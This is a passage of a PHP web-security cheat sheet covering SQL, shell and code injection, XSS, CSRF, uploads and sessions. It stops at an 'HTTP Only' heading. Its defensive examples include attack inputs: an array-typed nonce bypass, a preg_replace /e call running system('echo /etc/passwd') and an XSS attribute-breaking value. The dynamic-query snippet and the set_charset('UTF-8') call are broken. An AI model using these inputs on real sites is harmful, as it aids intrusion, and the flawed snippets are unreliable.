The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with $supplied_nonce being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; operator instead of &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt;, the comparison succeeds (since &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
